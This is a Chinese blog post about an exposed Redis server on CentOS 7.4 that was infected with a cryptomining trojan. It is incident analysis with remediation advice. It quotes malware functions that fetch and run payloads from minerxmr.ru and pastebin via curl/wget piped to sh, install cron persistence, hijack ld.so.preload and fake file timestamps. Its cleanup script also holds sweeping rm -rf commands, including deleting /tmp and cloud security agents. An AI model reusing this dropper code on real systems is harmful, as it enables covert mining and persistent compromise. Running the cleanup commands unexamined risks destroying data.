Centos 7.4 服务器 被植入挖矿木马

时间:2024-02-22 15:40:26

背景

最近由于在弄springboot shiro的redis session共享的问题,所以在服务器上部署了redis,因为没有太多的考虑所以没有设置密码。

等到第二天的时候,发现redis外网无法访问内网可以。

查看端口绑定情况  netstat -antlp | grep 6379 发现绑定没有问题

查看本地的路由,发现绑定到了127.0.0.1

发现绑定问题之后,就增加一条路由规则

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

病毒代码

function tables() {
    iptables -I INPUT -p TCP --dport 6379 -j REJECT
    iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    iptables-save
    touch /tmp/.tables
}

增加了之后终于外网能访问了,利用RedisDesktopManager 再次连接后,发现内容里面多了两条定时任务,感觉很奇怪也没在意,以为不是很大的问题,反正能用也没在意。

终于第三天redis又不能访问了,而且又增加了一条本地端口映射的路由规则。

感觉上服务器有一些问题,马上看了下 服务器ssh登入的 authorized_keys文件,发现里面内容key增加了不少。

于是进行百度查询相关的问题,根据描述基本可以确定中了挖矿木马。

查看服务器的定时任务 crontab -l 始终会有一条定时任务,采用命令crontab -r 进行删除,1分钟后又会自动生成

 原理

采用定时任务脚本下载对应的执行程序,并将对应的程序命名成为 libdns.so

下面为部分的定时任务代码

function top() {
   mkdir -p /usr/local/lib/
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   fi
   fi
   echo /usr/local/lib/libdns.so > /etc/ld.so.preload
   touch -acmr /bin/sh /etc/ld.so.preload
   touch -acmr /bin/sh /usr/local/lib/libdns.so
}

简单点理解,只要你的定时任务不删除,对应的程序就会下载,就会往本地电脑中添加定时任务

定时任务路径

function echocron() {
    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache
    echo -e "*/23 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    fi
    mkdir -p /etc/cron.daily
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    if [ ! -f "/etc/cron.daily/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    fi
    mkdir -p /etc/cron.monthly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    if [ ! -f "/etc/cron.monthly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    fi
    touch -acmr /bin/sh /var/spool/cron/root
    touch -acmr /bin/sh /var/spool/cron/crontabs/root
    touch -acmr /bin/sh /etc/cron.d/apache
    touch -acmr /bin/sh /etc/cron.d/root
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

 病毒程序代码

function downloadrunxm() {
    mkdir -p /var/tmp
    chmod 1777 /var/tmp
    pm=$(netstat -an | grep :56415 | wc -l)
    if [ ${pm} -eq 0 ];then
        rm -rf /var/tmp/config.json*
        curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json
        if [ ! -f "/var/tmp/config.json" ]; then
            wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
        fi
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        elif [ "$ARCH" == "i386" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        else
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

 

解决方案

1.排查用户是否增加。有增加进行删除(该概率比较小)

2.排查登入免密登入文件是否修改。如果服务器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具体详见  ssh 免秘钥登入服务器),最好进行原秘钥登入删除,进行更新,顺便可以考虑更换一下ssh端口(建议,纯粹为了系统安全,更改方式,详见百度)

3.查看所有定时任务执行脚本,明确本地的程序。定时任务查看 crontab -l 查看服务器定时任务,定人任务中包含 wget 网址后面跟了  sh(忘记截图,只能描述一下),然后根据定时任务中的网址进行浏览器访问,会得到一大串的乱码,将乱码复制,然后粘贴到Base64解码工具中进行解码,可以获得 定时任务执行的命令。然后分析对应个的脚本内容。会查看到本地的执行程序 libudev.so ,也可以看到脚本中增加了6379增加了本地路由规则,查看到程序后 进行删除,不删除程序,则会不断增加定时任务到 系统中。(因为已经处理,所以不能配图了)

4.删除定时任务。1) crontab -r 删除任务 2) cd /etc/cron.d  删除apache,及root(经查看本次中的内容跟网上的不太一样,这几个文件中均有定时任务,所以进行了删除)

5.查看进行。top -c 查看占用cup很高的进程(因为已经删除所有不能进行配图),查看到kworkerds 进行,路径在 /tmp下。 kill -9 pid 进行杀死进行,然后进行目录下进行删除内容

 

 

脚本

 iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
 iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
 iptables -A INPUT -s pastebin.com -j DROP
 iptables -A OUTPUT -d pastebin.com -j DROP

rm -rf /bin/dns
crontab -r
rm -rf /etc/cron.d
rm -rf /etc/crontab
rm -rf /usr/local/lib/libdns.so
rm -rf /usr/local/lib/libdns.so
rm -rf /etc/ld.so.preload
rm -rf /tmp/.pythong
rm -rf /var/spool/cron
rm -rf /etc/cron.hourly
rm -rf /etc/cron.daily
rm -rf /etc/cron.monthly
rm -rf /tmp/.tables
rm -rf /etc/init.d/agentwatch
rm -rf /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
killall kworkerds
rm -rf /tmp/kworkerds
rm -rf /var/tmp/config.json
rm -rf /tmp

 

一段时间后发现 系统定时任务已经不会在增加,并且已经不纯在高消耗cpu的进程了。

总结

  1.该问题如果需要完全解决,必须好好查看对应的定时任务下载并执行的脚本,而且发现该问题并不是一成不变的,在处理问题的时候发现与百度上描述的还是有很大的区别。

  2.给redis增加上安全控制(很重要)

 

转载的话,请标明下出处 https://www.cnblogs.com/dyft/articles/9797664.html